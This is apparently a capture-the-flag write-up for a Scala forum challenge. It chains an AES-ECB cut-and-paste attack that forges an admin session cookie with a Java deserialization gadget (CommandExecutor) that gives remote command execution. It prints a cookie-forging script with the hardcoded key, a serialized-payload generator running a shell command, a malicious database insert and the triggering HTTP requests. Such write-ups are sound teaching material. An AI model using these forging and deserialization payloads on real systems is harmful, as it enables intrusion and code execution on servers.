Overview
Scalar - web

Scalar - web

Scalar Forum - AES Cut and Paste & A Scala Deserialization

January 30, 2026
9 min read

Intro

  • Category: Web & Crypto
  • Difficulty: Medium
  • Description: “I rewrote an old forum from Java to Scala to get rid of vulnerabilities.”

Introduction

Scalar is a forum application built with Scala and sqlite3 db. Description says it was written in Java and has been migrated to Scala for security reasons, Full source code was provided, which is always nice.

Forum Homepage

The app has the usual forum features — users can register, create threads, post comments. But there was something hidden and only for admin feature - database backup and restore functionality.

Here’s the project structure we’re working with:

Terminal window
scalar/
├── src/main/scala/
├── Main.scala # App entry point
├── Routes.scala # All HTTP routes
├── admin/
└── FileUpload.scala # Admin backup/restore
├── auth/
└── AuthHandler.scala # Session management
├── controllers/
├── CommentController.scala
├── ThreadController.scala
└── UserController.scala
├── executor/
└── CommandExecutor.scala # Interesting...
├── models/
├── Comment.scala
├── Database.scala
└── Thread.scala
├── utils/
└── CookieEncryption.scala # Session creation
└── views/
└── Views.scala # HTML templates
├── Dockerfile
├── docker-compose.yml
└── build.sbt

I found some interesting things in source code, like storing blog as blob in database, and was wrapped with serialization and deserialization logic in scala, session cookie was not something traditional or well known like JWT, rather it was custom implementation with AES/ECB with PKCS5Padding. Also views are being redered from HTML string and the user content (thread, comment) was rendered with escaping function EscapeHTML and the Date showed in footer section was rendered with response from command output date.


Exploring the Source Code

Source code explore

I started with registering an account. Here application generates a random hex password for account registered, by default non admin user gets created with no way to created admin, Admin account is already created during setup with init code in Database.scala

src/main/scala/models/Database.scala
val adminPassword = randomHex(16)
statement.executeUpdate(s"""
INSERT OR IGNORE INTO users (username, firstname, lastname, password, is_admin)
VALUES ('admin', 'The', 'Admin', '$adminPassword', 1);
""")
val rs = statement.executeQuery("SELECT id FROM users WHERE username = 'admin'")
if (rs.next()) {
val adminId = rs.getInt("id")
val threadRs = statement.executeQuery("SELECT COUNT(*) AS count FROM threads")
if (threadRs.next() && threadRs.getInt("count") == 0) {
statement.executeUpdate(s"""
INSERT INTO threads (title, content, author_id)
VALUES (
'All your base are belong to us!',
X'aced000574000a636c75656c657373205e',
$adminId
);
""")
}
}
}
}

Also first blog is being created via hardcoded bytes object blob which on redendering shows text content : “clueless ^”, here I continued exploring around these things and playing with EscapeHTML implementation and other routes, so far we have few suspicious functionalities:

  • Session cookies with AES-ECB with PKCS5Padding.
  • Java serialization and deserialization of blogs as blob content.
  • There was an admin user with backup/restore database.
  • EscapeHTML funcationality manual implementation.

Time to dig in.


Understanding ECB Mode and Why It’s Vulnerable

Before diving into my attack attempts, let me explain why AES-ECB in this case with PKCS5Padding might be problematic.

How AES-ECB Works ?

  • AES is a block cipher — it encrypts data in fixed-size chunks (16 bytes for AES-128). ECB (Electronic Codebook) is the simplest mode: each block is encrypted independently with the same key. The problem: identical plaintext blocks produce identical ciphertext blocks. There’s no randomization between blocks.

  • To illustrate:

    flowchart LR
        subgraph box [" "]
            subgraph plain ["  PLAINTEXT  "]
                P1["  Block 1  "]
                P2["  Block 2  "]  
                P3["  Block n  "]
            end

            subgraph enc ["  AES-ECB  "]
                E1{{"  AES  "}}
                E2{{"  AES  "}}
                E3{{"  AES  "}}
            end

            subgraph cipher ["  CIPHERTEXT  "]
                C1["  Block 1  "]
                C2["  Block 2  "]
                C3["  Block n  "]
            end
            
            K(("🔑"))
        end

        P1 --> E1 --> C1
        P2 --> E2 --> C2
        P3 --> E3 --> C3

        K -.-> E1
        K -.-> E2
        K -.-> E3

        style plain fill:#6366f115,stroke:#6366f1,stroke-width:2px
        style enc fill:#f59e0b15,stroke:#f59e0b,stroke-width:2px
        style cipher fill:#10b98115,stroke:#10b981,stroke-width:2px

        style P1 fill:#6366f1,stroke:#4f46e5,color:#fff
        style P2 fill:#6366f1,stroke:#4f46e5,color:#fff
        style P3 fill:#6366f1,stroke:#4f46e5,color:#fff

        style E1 fill:#f59e0b,stroke:#d97706,color:#fff
        style E2 fill:#f59e0b,stroke:#d97706,color:#fff
        style E3 fill:#f59e0b,stroke:#d97706,color:#fff

        style C1 fill:#10b981,stroke:#059669,color:#fff
        style C2 fill:#10b981,stroke:#059669,color:#fff
        style C3 fill:#10b981,stroke:#059669,color:#fff

    style K fill:#ef4444,stroke:#dc2626,color:#fff
    style box fill:none,stroke:#374151,stroke-width:2px,stroke-dasharray:5
  • This is famously demonstrated with the “ECB Penguin” — when you encrypt an image using ECB mode, patterns remain visible because repeated pixel values encrypt to the same ciphertext. For example AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA, will result in blocks as illustrated below where 1st and 3rd block of encryption will result in same output.

Same Plaintext = Same Ciphertext: If Block A == Block C, then Encrypted(A) == Encrypted(C)

flowchart LR
    subgraph box [" "]
        A["AAAAAAAAAAAAAAAA"] --->|"🔐 encrypt"| X["7f3d2e..."]
        C["BBBBBBBBBBBBBBBB"] --->|"🔐 encrypt"| Z["9a1c4b..."]
        B["AAAAAAAAAAAAAAAA"] --->|"🔐 encrypt"| Y["7f3d2e..."]
    end

    style A fill:#6366f1,stroke:#4f46e5,color:#fff
    style C fill:#6366f1,stroke:#4f46e5,color:#fff
    style B fill:#f59e0b,stroke:#d97706,color:#fff
    style X fill:#10b981,stroke:#059669,color:#fff
    style Z fill:#10b981,stroke:#059669,color:#fff
    style Y fill:#ef4444,stroke:#dc2626,color:#fff
    style box fill:none,stroke:#374151,stroke-width:2px,stroke-dasharray:5
  • To explain in our context, here if we break our AES string in block of 16 bytes and along with last bytes + something to achive block of 16. so total text/16text /16 number of blocks.

Exploting AES/ECB/PKCS5Padding as explained

I wrote simple script to demonstrate this

AESblockbreakdown.scala
//hardcoded key secret 12ec014a9b7109a9
import javax.crypto.Cipher
import javax.crypto.spec.SecretKeySpec
import java.util.Base64
import java.security.SecureRandom
import play.api.libs.json._
type UserSession = {
def username: String
def firstname: String
def lastname: String
def isAdmin: Boolean
}
type CookieEncryption = {
def encrypt(data: String): String
def decrypt(encrypted: String): String
}
object CookieEncryption {
private val secureRandom = new SecureRandom()
private val key: String = "12ec014a9b7109a9"
private val cipher = Cipher.getInstance("AES/ECB/PKCS5Padding")
def encrypt(data: String): String = {
val secretKey = new SecretKeySpec(key.getBytes("UTF-8"), "AES")
cipher.init(Cipher.ENCRYPT_MODE, secretKey)
Base64.getEncoder.encodeToString(cipher.doFinal(data.getBytes("UTF-8")))
}
def decrypt(encrypted: String): String = {
val secretKey = new SecretKeySpec(key.getBytes("UTF-8"), "AES")
cipher.init(Cipher.DECRYPT_MODE, secretKey)
new String(cipher.doFinal(Base64.getDecoder.decode(encrypted)))
}
}
def main(args: Array[String]): Unit = {
val data = "{\"username\":\"admic1\",\"firstname\":\"Theaaaaaaaaaaaa\",\"lastname\":\"Admin\",\"isAdmin\":false}"
//---------------------------------------------------------------------------------------------------------
// val data2 = """{"username":"admin2","firstname":"Th","lastname":"Adminaaaaaaaa:true,"pad":"1"},"isAdmin":false}"""
val data2 = "{\"username\":\"admic2\",\"firstname\":\"Theaaaaaaaaaaaaabcdefghi\",\"lastname\":\"Adminaa:true }\",\"isAdmin\":false}"
println("data2 : " + Json.parse(data2))
val lengthTillpad = "{\"username\":\"admin2\",\"firstname\":\"The\",\"lastname\":\"Adminaaaaaaaa".length
println("lengthTillpad : " + lengthTillpad)
val payloadlength = "'true,\\\"p\\\":123}".length
println("payloadlength : " + payloadlength)
println("--------------------------------")
val encrypted = CookieEncryption.encrypt(data)
val encrypted2 = CookieEncryption.encrypt(data2)
println("encrypted : " + encrypted + "\n")
println("encrypted2 : " + encrypted2 + "\n")
//first base64 decode the encrypted string then decrypt each chunk
val base64Decoded = Base64.getDecoder.decode(encrypted)
val base64Decoded2 = Base64.getDecoder.decode(encrypted2)
//convert to hex string and braek into chunks of 16 characters
val hexString = base64Decoded.map("\\x%02x".format(_)).mkString
val hexString2 = base64Decoded2.map("\\x%02x".format(_)).mkString
val chunks = hexString.sliding(64, 64).toList
val chunks2 = hexString2.sliding(64, 64).toList
val numberOfChunks = chunks.length
val numberOfChunks2 = chunks2.length
//split data into chunks of 16 characters
val chunksData = data.sliding(16, 16).toList
val chunksData2 = data2.sliding(16, 16).toList
for (i <- 0 until chunks.length) {
if (i < chunksData.length) {
println("["+i.toString()+"] " + chunks(i) + " | " + chunksData(i))
} else {
println("["+i.toString()+"] " + chunks(i) + " | " + "null")
}
}
println("--------------------------------")
for (i <- 0 until chunks2.length) {
if (i < chunksData2.length) {
println("["+i.toString()+"] " + chunks2(i) + " | " + chunksData2(i))
} else {
println("["+i.toString()+"] " + chunks2(i) + " | " + "null")
}
}
println("--------------------------------")
println("chunks1 : " + hexString + "\n")
println("chunks2 : " + hexString2 + "\n")
val to_decrypt = "....your encrypted payload with presumed known key"
//decode encrypted string from base64 to bytes and replace last 16 bytes with 5th chunk of 16 bytes from hexString2
// // val bytes = Base64.getDecoder.decode(to_decrypt)
// // val bytes2 = Base64.getDecoder.decode(hexString2)
// val newBytes = bytes.take(bytes.length - 16) ++ bytes2.take(16)
// val newBytesString = newBytes.map("\\x%02x".format(_)).mkString
// val newEncrypted = Base64.getEncoder.encodeToString(newBytes)
// println("newEncrypted : " + newEncrypted)
// println("newBytesString : " + newBytesString)
val decrypted_payload = CookieEncryption.decrypt(to_decrypt)
val decrypted = CookieEncryption.decrypt(encrypted)
println("decrypted : " + decrypted)
println("__payload : " + decrypted_payload)
// convert this to JsValue
val userSession = Json.parse(decrypted_payload)
println("userSession : " + userSession)
println("isAdmin : " + (userSession \ "isAdmin").as[Boolean])
}

output of this script : Showing padding script

and we need extra null as well from as you can see here we can simply swap blocks from image block number 5 from original cookie with block number 5 in our payload and also need to pad the extra null block which is present in the end of json, I had to spend lot of time to figure out this. Showing padding script

So I finally crafted the Admin session cookie from this, and was able to log in as Admin from user I created as normal user.

Admin login


The Real Vulnerability: Java Deserialization

While working on the ECB attack, I noticed something concerning in the database schema. The content field for threads was stored as BLOB:

Database Schema
CREATE TABLE IF NOT EXISTS threads (
id INTEGER PRIMARY KEY,
title TEXT,
content BLOB, -- Suspicious: why store text as binary?
author_id INTEGER
);

The rendering logic in Views.scala revealed the vulnerability:

src/main/scala/views/Views.scala
val content = try {
val bais = new ByteArrayInputStream(thread.content)
val ois = new ObjectInputStream(bais)
ois.readObject().asInstanceOf[String]
} catch {
case e: Exception => "Content unavailable"
}

This is Insecure Deserialization (CWE-502). The application blindly deserializes user-controlled data without any validation. ObjectInputStream.readObject() will instantiate whatever class is specified in the serialized byte stream, executing any code in that class’s readObject() method.

The Gadget Chain

For deserialization to be exploitable, we need a “gadget” — a class that:

  1. Implements java.io.Serializable
  2. Performs dangerous operations during deserialization (in readObject())
  3. Exists in the application’s classpath

In CommandExecutor.scala, the application conveniently provides one:

src/main/scala/executor/CommandExecutor.scala
package scalar.executor
class CommandExecutor(val command: String) extends Serializable {
def execute(): String = {
val output = command.!! // Executes shell command via scala.sys.process
output
}
private def readObject(in: ObjectInputStream): Unit = {
in.defaultReadObject()
execute() // RCE triggered during deserialization
}
}

The custom readObject() method calls execute(), which runs arbitrary shell commands. This class is used legitimately to render the server date in the footer, confirming it’s loaded at runtime.


Exploitation Strategy

The attack chain requires:

  1. Admin Access — Database restore is admin-only
  2. Serialized Payload — A CommandExecutor object with malicious command
  3. Delivery Mechanism — Inject payload into thread content via database restore
  4. Trigger — View the thread to deserialize and execute

We already have forged admin cookie which we can use as is_admin = True flag for any user.


Building the Payload

Payload Generator

The serialized object must use the exact package name (scalar.executor.CommandExecutor) as the server. Java deserialization matches classes by their fully-qualified name — a mismatch causes ClassNotFoundException.

CreatePayload.scala
package scalar.executor
import java.io._
import sys.process._
class CommandExecutor(val command: String) extends Serializable {
def this() = this("")
def execute(): String = {
try { command.!! } catch { case _: Exception => "" }
}
private def readObject(in: ObjectInputStream): Unit = {
in.defaultReadObject()
execute()
}
}
object CreatePayload {
def main(args: Array[String]): Unit = {
val payload = new CommandExecutor("sh -c 'cat /app/flag | tee /app/db/forum.db'")
val baos = new ByteArrayOutputStream()
val oos = new ObjectOutputStream(baos)
oos.writeObject(payload)
oos.close()
val bytes = baos.toByteArray()
println("Hex: " + bytes.map(b => f"${b & 0xff}%02X").mkString)
new FileOutputStream("payload.bin").write(bytes)
println("Written to payload.bin")
}
}

The command cat /app/flag | tee /app/db/forum.db writes the flag to the database file, which we can retrieve via the backup endpoint.

Crafting the Malicious Database

Terminal window
sqlite3 exploit.db
-- Insert thread with serialized payload (hex from generator)
INSERT INTO threads (id, title, content, author_id)
VALUES (5, 'pwned', X'ACED0005737200...our deserialized object', 1);

Creating Malicious DB


Executing the Attack

Step 1: Upload Database

Using the admin session obtained from the ECB cookie attack, upload the malicious database:

Admin Upload

Step 2: Trigger Deserialization

Visit the thread containing the payload:

GET /thread/view/5 HTTP/1.1
Host: target
Cookie: session=<admin_session>

The server deserializes the CommandExecutor object, triggering the readObject()execute() chain. The flag is written to /app/db/forum.db.

Step 3: Exfiltrate

Download the database via backup:

GET /admin/backup HTTP/1.1

Flag Retrieved


Key Takeaways

Deserialization is Dangerous Never deserialize untrusted data. If you must, use allowlists to restrict which classes can be instantiated. Consider safer alternatives like JSON.

Package Names Are Part of the Exploit Serialized Java objects contain the fully-qualified class name. Your payload generator must match the target’s package structure exactly.

Gadget Hunting Look for classes with dangerous readObject() implementations. Custom classes in the application itself are often easier to exploit than hunting for library gadgets.

Chained Vulnerabilities This exploit required two vulnerabilities: AES-ECB for admin access, then deserialization for RCE. Neither alone would have been sufficient.


References